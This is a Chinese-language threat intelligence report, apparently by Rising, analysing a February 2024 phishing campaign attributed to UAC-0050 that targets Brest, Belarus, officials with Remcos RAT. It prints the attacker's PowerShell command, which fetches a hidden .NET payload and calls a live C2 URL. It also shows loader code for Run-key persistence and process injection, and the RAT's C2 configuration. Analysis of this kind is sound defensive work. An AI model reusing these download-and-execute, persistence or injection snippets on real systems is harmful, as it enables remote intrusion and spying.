2024年2月：UAC-0050组织针对白俄罗斯的攻击事件

概述

  瑞星威胁情报于2024年2月捕获一起疑似针对白俄罗斯的攻击事件，攻击者向受害者投递带恶意附件的钓鱼邮件进行攻击，恶意附件是个DOCX文档，DOCX文档内被注入了恶意链接，恶意链接指向带有公式编辑器漏洞CVE-2017-11882的RTF文档，漏洞文档会访问特定网址下载VBS脚本并运行。VBS脚本经过混淆处理，解混淆后会获得一段PowerShell代码，PowerShell代码会从指定网址上获取被base64编码后的.NET程序，解码出.NET程序后，它会将从指定网址上下载的Remcos远控软件注入白文件RegAsm.exe中运行起来。Remcos远控工具有远程桌面、键盘记录、文件管理、命令执行等多种功能，它是一家名为Breaking Security的德国公司以远程控制和监视为名出售的合法工具，但经常被黑客滥用。

  通过攻击手法等猜测此次事件可能和APT组织UAC-0050有关。UAC-0050是一个至少从2020年就开始进行网络攻击的APT组织，该组织以前主要瞄准乌克兰政府机构，此次攻击事件疑似针对白俄罗斯布雷斯特市政府人员进行攻击。UAC-0050常利用钓鱼邮件分发Remcos RAT恶意软件，曾有安全公司报道其采用仿冒乌克兰安全局等策略，向受害者发送带有恶意附件的电子邮件。此外，UAC-0050还与另一个黑客组织UAC-0096有关联，曾使用诸如Remote Utilities等远程管理工具。推测他们的攻击动机可能涉及间谍行动和信息窃取。

ATT&CK矩阵

事件详情

  2024年2月，瑞星安全研究院捕获到一封钓鱼邮件，钓鱼邮件带有一个名为Оплата 29.01.24.docx的文档附件，DOCX附件文档内被注入了恶意链接。钓鱼邮件的主题是RE: Подтверждение оплаты счета（RE: 发票付款确认），钓鱼邮件内容大致上是说发件人公司已经支付了新订单的发票，现在要求收件人参阅随附的付款确认信息。通过邮件的主题RE: Подтверждение оплаты счета（RE: 发票付款确认），猜测这封邮件是对先前收到的某封邮件的回复。钓鱼邮件中收件人为ksm<ksm@brest.by>，通过收件人邮箱地址猜测收件人可能来自白俄罗斯布雷斯特市政府，因为brest.by是该市的官方域名。发件人为Марина Метельская<info@biatr.ooguy.com>，由于邮件内容中表明发件人属于俄罗斯特殊材料公司Специальные Материалы的会计，猜测攻击者伪装成俄罗斯特殊材料公司Специальные Материалы会计向白俄罗斯布雷斯特市政府人员发起钓鱼攻击。如果目标收件人被诱骗点击执行了名为Оплата 29.01.24.docx的附件，那么攻击者的初步攻击将成功展开。

  钓鱼邮件附件Оплата 29.01.24.docx打开后,内容是多张经过模糊等方式处理过的支付细节图片。

攻击流程

  攻击者向受害者投递带恶意附件的钓鱼邮件进行攻击，恶意附件名为Оплата 29.01.24.docx，是个被注入了恶意链接的DOCX文档，恶意链接hxxp://139[.]144[.]212[.]135/sbi/microsoftupdationgoingformicrftofficeupgradingtonewmsofficeprotoecoltoreducethesystemwrking.doc?utm_content=CONTENT_VALUE&utm_medium=MEDIUM_VALUE&utm_source=SOURCE_VALUE&utm_campaign=CAMAPGIN_VALUE指向带有公式编辑器漏洞CVE-2017-11882的RTF文档microsoftupdationgoingformicrftofficeupgradingtonewmsofficeprotoecoltoreducethesystemwrking.doc，漏洞文档会访问hxxp://139[.]144[.]212[.]135/222/xmass.vbs下载VBS脚本并运行。VBS脚本经过混淆处理，解混淆后会获得一段PowerShell代码，PowerShell代码会从hxxps://wallpapercave[.]com/uwp/uwp4246971.png上获取uwp4246971.png，uwp4246971.png内部含有使用base64编码的.NET程序。.NET程序从hxxp://139[.]144[.]212[.]135/222/GST.txt下载GST.txt，将GST.txt经过数据反转和base64解码后获得Remcos远控软件，将Remcos远控软件注入白文件RegAsm.exe中运行起来。

相关负载分析

钓鱼邮件分析

  钓鱼邮件带有一个名为的Оплата 29.01.24.docx的文档附件。邮件的主题为RE: Подтверждение оплаты счета（RE: 发票付款确认），邮件内容大致上是说发件人公司已经支付了新订单的发票，现在要求收件人参阅随附的付款确认信息。钓鱼邮件中收件人为ksm<ksm@brest.by>，通过收件人邮箱地址猜测收件人可能来自白俄罗斯布雷斯特市政府，发件人为Марина Метельская<info@biatr.ooguy.com>，邮件内容中表明发件人属于俄罗斯特殊材料公司Специальные Материалы的会计，猜测攻击者伪装成俄罗斯特殊材料公司Специальные Материалы会计向白俄罗斯布雷斯特市政府人员发起钓鱼攻击。

钓鱼邮件附件Оплата 29.01.24.docx分析

  Оплата 29.01.24.docx文档中被注入了恶意链接。在该文档中word/_rels/settings.xml.rels位置处含有短链接hxxp://tau[.]id/0vzd8,实际链接是hxxp://139[.]144[.]212[.]135/sbi/microsoftupdationgoingformicrftofficeupgradingtonewmsofficeprotoecoltoreducethesystemwrking.doc?utm_content=CONTENT_VALUE&utm_medium=MEDIUM_VALUE&utm_source=SOURCE_VALUE&utm_campaign=CAMAPGIN_VALUE，该链接指向漏洞文档microsoftupdationgoingformicrftofficeupgradingtonewmsofficeprotoecoltoreducethesystemwrking.doc

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="http://tau.id/0vzd8" TargetMode="External"/></Relationships>

漏洞文档microsoftupdationgoingformicrftofficeupgradingtonewmsofficeprotoecoltoreducethesystemwrking.doc分析

microsoftupdationgoingformicrftofficeupgradingtonewmsofficeprotoecoltoreducethesystemwrking.doc带有公式编辑器漏洞 CVE-2017-11882，利用漏洞从hxxp://139[.]144[.]212[.]135/222/xmass.vbs下载xmass.vbs存于文件夹C:\Users\Admin\AppData\Roaming后，执行xmass.vbs。

下载器xmass.vbs分析

  xmass.vbs脚本代码带混淆，通过反混淆得到得到一段PowerShell脚本代码，PowerShell脚本代码会访问hxxps://wallpapercave[.]com/uwp/uwp4246971.png获取uwp4246971.png，接着从uwp4246971.png中获取字符串<<BASE64_START>>和<<BASE64_END>>之间的base64数据串，解码后的base64数据是个.NET相关的DLL加载器rump.dll。rump.dll的主要作用是将Remcos远控木马注入到C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe中运行起来。

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $imageUrl = 'https://wallpapercave.com/uwp/uwp4246971.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Aspose.DrawingSpec.PkikAttrCertNB');$method = $type.GetMethod('Run').Invoke($null, [object[]] ('http://139.144.212.135/222/GST.txt' , 'desativado' , '2' , 'CHSE' , '1' , 'C:\ProgramData\', 'LnkName','RegAsm'))

RemcosRAT加载器rump.dll分析

  将xmass.vbs设置为自启动：将xmass.vbs复制到目标路径C:\ProgramData\CHSE.vbs，之后设置注册表将CHSE.vbs设置为自启动。

if (startupvbs_lnk == "2")
    {
        if (!File.Exists(caminhovbs + namevbs + ".vbs"))
        {
            new Process
            {
                StartInfo = new ProcessStartInfo
                {
                    WindowStyle = ProcessWindowStyle.Hidden,
                    FileName = "C:Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe",
                    Arguments = " -WindowStyle Hidden Copy-Item -Path *.vbs -Destination " + caminhovbs + namevbs + ".vbs"
                }
            }.Start();
        }
        using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
        {
            registryKey.SetValue("Path", caminhovbs + namevbs + ".vbs");
        }
    }

  访问hxxp://139[.]144[.]212[.]135/222/GST.txt获取GST.txt数据，GST.txt通过数据反转和base64解码后实际上为 Remcos远控木马。

string applicationName = "C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\" + netframe + ".exe";
    char[] array = new WebClient().DownloadString(____).ToCharArray();
    Array.Reverse(array);
    byte[] array2 = Convert.FromBase64String(new string(array));

  还原后的GST.txt实际上为 Remcos远控木马。将Remcos远控木马注入到白文件C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe中运行起来。

int num6 = PkikAttrCertRDG.VirtualAllocEx(processInformation.ProcessHandle, num3, length, 12288, 64);
            if (num6 == 0)
            {
                throw new Exception();
            }
            if (!PkikAttrCertRDG.WriteProcessMemory(processInformation.ProcessHandle, num6, array2, bufferSize, ref num))
            {
                throw new Exception();
            }

Remcos远控木马分析

  Remcos是一款商业远控木马软件，具备多种功能，如远程桌面控制、屏幕捕获、剪贴板监视、摄像头和音频监视、命令执行、浏览器数据抓取、密码窃取、代理创建等。还能对文件、进程、服务、窗口、注册表、网络等信息进行收集和管理。此次攻击者所使用的Remcos远控木马的版本为4.9.3 Pro，其官方网址为https://breakingsecurity.net/，官方也提供卸载程序，下载地址为https://breakingsecurity.net/remcos/uninstaller/。

lea     eax, [ebp+var_64]   
push    offset aRemcosV ; "\n\tRemcos v"
push    eax
call    sub_441F60
lea     eax, [ebp+var_64]
push    offset a4_9_3Pro ; "4.9.3 Pro"
push    eax
call    sub_441F60
lea     eax, [ebp+var_64]
push    offset asc_46CF18 ; "\n\tｩ BreakingSecurity.net\n\n"
push    eax

  RemcosRAT的配置信息被RC4加密存在Remcos.exe中的资源文件[RCDATA:SETTINGS:0]中，数据中第一个字节为密钥长度，之后为密钥以及密文。配置信息内容有C2 服务器信息，通信密钥，截图录音键盘记录等木马功能的配置，互斥体名称，licence内容等信息，中间以丨分隔。

top.noforabusers1.xyz:2424:1.|...|RemoteHost|...|1|...|.|...|.|...|.|...|1|...|100000|...|.|...|8|...|r.e.m.c.o.s...e.x.e...|...|.|...|.|...|0|...|Rmc-M4OLK2|...|0|...|8|...|l.o.g.s...d.a.t...|...|.|...|.|...|.|...|10|...|.|...|..|...|5|...|6|...|Screenshots|...|.|...|.|...|.|...|.|...|.|...|.|...|.|...|.|...|.|...|5|...|.|...|MicRecords|...|.|...|0|...|0|...|..|...|.|...|.|...|0|...|.|...|1|...|R.e.m.c.o.s...|...|r.e.m.c.o.s...|...|.|...|.|...|05FD7CD80755FE89E97447CCD24D8330|...|.|...|

  Remcos.exe使用TLS协议与C2服务器建立通信，密钥为1，连接域名top.noforabusers1.xyz，端口为2424。除了发送收集的用户名、CPU信息、操作系统以及键盘记录等信息，它还会等待C&C服务器发布控制指令，以执行恶意功能。这些控制指令包括文件管理、进程管理、键盘记录、屏幕录制、摄像头和麦克风录制、远程执行Shell命令、远程执行脚本、上传下载文件、注册表操作、远控软件的安装和卸载等。

总结

  APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征，针对的目标都是具有重大信息资产，如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等，国内相关政府机构和企业单位务必要引起重视，加强防御措施。

预防措施

1. 不打开可疑文件。

   不打开未知来源的可疑的文件和邮件，防止社会工程学和钓鱼攻击。

2. 部署网络安全态势感知、预警系统等网关安全产品。

   网关安全产品可利用威胁情报追溯威胁行为轨迹，帮助用户进行威胁行为分析、定位威胁源和目的，追溯攻击的手段和路径，从源头解决网络威胁，最大范围内发现被攻击的节点，帮助企业更快响应和处理。

3. 安装有效的杀毒软件，拦截查杀恶意文档和木马病毒。

   杀毒软件可拦截恶意文档和木马病毒，如果用户不小心下载了恶意文件，杀毒软件可拦截查杀，阻止病毒运行，保护用户的终端安全。

   瑞星ESM目前已经可以检出此次攻击事件的相关样本

4. 及时修补系统补丁和重要软件的补丁。

沦陷信标（IOC）

• MD5

  3F55803FABD137FDC17BE09423DB9634
  10AF82086385C6A2514D222753184317
  F479A35981617BF48357BEC37B0065F2
  9567A898F2ECF952F8817787E6EF5701
  0A0576AD29A833A32E09E018DF0CB445

• URL

  hxxp://tau[.]id/0vzd8
  hxxp://139[.]144[.]212[.]135/sbi/microsoftupdationgoingformicrftofficeupgradingtonewmsofficeprotoecoltoreducethesystemwrking.doc?utm_content=CONTENT_VALUE&utm_medium=MEDIUM_VALUE&utm_source=SOURCE_VALUE&utm_campaign=CAMAPGIN_VALUE
  hxxp://139[.]144[.]212[.]135/222/GST.txt
  hxxps://wallpapercave[.]com/uwp/uwp4246971.png

• Domain

  top[.]noforabusers1[.]xyz

• IPV4

  139[.]144[.]212[.]135

参考链接

• https://paper.seebug.org/3107/
• https://twitter.com/cyber_ra1/status/1752035174408458561
• https://www.secrss.com/articles/63001